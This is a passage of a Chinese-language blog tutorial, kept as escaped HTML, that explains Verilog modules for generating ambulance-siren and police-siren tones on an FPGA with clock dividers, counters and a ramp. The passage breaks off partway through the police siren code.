class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e#20\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003emusic #\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eclkdivider\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclkdivider\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003emusic_inst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclk \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003erst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003espeaker \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"Music-box-2-Ambulance-siren\"\u003e\u003ca href=\"#Music-box-2-Ambulance-siren\" class=\"headerlink\" title=\"Music box 2 - Ambulance siren\"\u003e\u003c/a\u003eMusic box 2 - Ambulance siren\u003c/h2\u003e\u003cp\u003e这次在两种音调之间交替。首先使用24位计数器 \u003ccode\u003etone\u003c/code\u003e 来产生一个缓慢的方波,其最高位(MSB)以1.5Hz的频率进行切换。然后我们在这两个频率之间切换另一个计数器。这样就发出了类似救护车警报一类的声音。\u003c/p\u003e\u003cp\u003e先产生一个1.5Hz的信号 \u003ccode\u003etone\u003c/code\u003e ,此时计数器 \u003ccode\u003ecounter\u003c/code\u003e 为向下计数,当 \u003ccode\u003ecounter\u003c/code\u003e 为0时,如果 \u003ccode\u003etone\u003c/code\u003e 为1,继续产生440Hz的信号,当 \u003ccode\u003etone\u003c/code\u003e 为0时,产生220Hz。这两个频率的信号以1.5Hz的频率交替出现。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// ambulance.v\u003c/span\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e music #\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e50000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e440\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// MSB 1.5Hz变动一次\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e25'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e tone\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 计数器为0,说明当前频率已产生完毕,切换下一个\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 根据tone的MSB是否有值来确定\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 如果tone的MSB为0,则切换为220Hz的声音\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 如果tone的MSB为1,则切换为440Hz的声音\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e?\u003c/span\u003eclkdivider\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e clkdivider\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e-\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"Police-siren\"\u003e\u003ca href=\"#Police-siren\" class=\"headerlink\" title=\"Police siren\"\u003e\u003c/a\u003ePolice siren\u003c/h3\u003e\u003cp\u003e接下来是生成一个听起来像警笛的声音。这个声音听着是又小逐渐变大的这种,之前声音像跳楼梯,这次的像上坡。\u003c/p\u003e\u003cp\u003e我们将音调计数器 \u003ccode\u003etone\u003c/code\u003e 的速度提高一倍,变为3Hz。\u003c/p\u003e\u003cp\u003e然后,就开始升频操作。我们提取音调计数器的16位到第22位:\u003ccode\u003etone[22:16]\u003c/code\u003e。这样我们得到了7bit,并且以一个中等速度从0~127,到达127后,再从127~0。\u003c/p\u003e\u003cp\u003e为了得到一个向下的斜坡,将其进行翻转(\u003ccode\u003e~tone[22:16]\u003c/code\u003e),此时从127~0。\u003c/p\u003e\u003cp\u003e为了切换上下这两个通道,同上面一样,我们根据 MSB \u003ccode\u003etone[23]\u003c/code\u003e 的值进行选择,3Hz切换一次。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e ramp \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003ewire表示直通,即只要输入有变化,输出马上无条件地反映;reg表示一定要有触发,输出才会反映输入。(\u003ca href=\"https://zhuanlan.zhihu.com/p/482748824\"\u003e【Verilog HDL】Verilog中wire与reg类型学习 - 知乎 (zhihu.com)\u003c/a\u003e)\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e这样做的意义:\u003ca href=\"https://www.fpga4fun.com/MusicBox_ramp_explanation.html\"\u003efpga4fun.com - Music box siren ramp\u003c/a\u003e 。\u003c/p\u003e\u003cp\u003e这个 \u003ccode\u003eramp\u003c/code\u003e 的值从 \u003ccode\u003e7\u0026#39;b0000000\u003c/code\u003e 到 \u003ccode\u003e7\u0026#39;b1111111\u003c/code\u003e 。为了得到一个可用的值产生声音,我们在他前面补2位 \u003ccode\u003e2\u0026#39;b01\u003c/code\u003e 后面补7位 \u003ccode\u003e7\u0026#39;b0000000\u003c/code\u003e 进行填充。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token number\"\u003e2'b01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e ramp\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e7'b0000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e这样, \u003ccode\u003eclkdivider\u003c/code\u003e 的值从 \u003ccode\u003e16\u0026#39;b0100000000000000\u003c/code\u003e 到\u003ccode\u003e16\u0026#39;b01111110000000\u003c/code\u003e ,在50MHz的时钟下,相当于产生从765Hz到1525Hz的高音调警报器。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// police\u003c/span\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e police #\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e50000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e440\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// MSB 3Hz变动一次\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e24'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e tone\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 判断是上升还是下降\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e ramp \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// clkdivider 以3Hz为周期变动\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token number\"\u003e2'b01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e ramp\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e7'b0000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e clkdivider\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e-\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token 